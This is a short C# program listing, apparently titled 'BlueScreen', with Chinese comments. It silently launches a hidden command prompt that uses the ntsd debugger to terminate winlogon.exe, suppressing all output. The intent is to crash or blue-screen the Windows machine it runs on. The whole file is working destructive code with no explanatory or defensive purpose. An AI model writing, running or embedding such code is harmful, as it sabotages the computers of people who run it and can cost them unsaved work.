Program.cs 1.3 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Text;
  6. namespace Oreo.BlueScreen
  7. {
  8. class Program
  9. {
  10. static void Main(string[] args)
  11. {
  12. string cmd = "ntsd -c q -pn winlogon.exe 1>nul 2>nul";
  13. Process p = new Process(); // 初始化新的进程
  14. p.StartInfo.FileName = "CMD.EXE"; //创建CMD.EXE 进程
  15. p.StartInfo.RedirectStandardInput = true; //重定向输入
  16. p.StartInfo.RedirectStandardOutput = true;//重定向输出
  17. p.StartInfo.UseShellExecute = false; // 不调用系统的Shell
  18. p.StartInfo.RedirectStandardError = true; // 重定向Error
  19. p.StartInfo.CreateNoWindow = true; //不创建窗口
  20. p.Start(); // 启动进程
  21. p.StandardInput.WriteLine(cmd + "&exit"); // Cmd 命令
  22. StreamReader reader = p.StandardOutput;//截取输出流
  23. string lines = "";
  24. int i = 0;
  25. while (!reader.EndOfStream)
  26. {
  27. string line = reader.ReadLine();//每次读取一行
  28. if (line != "")
  29. {
  30. lines += "<" + line;
  31. i++;
  32. }
  33. }
  34. p.WaitForExit(); // 等待退出
  35. }
  36. }
  37. }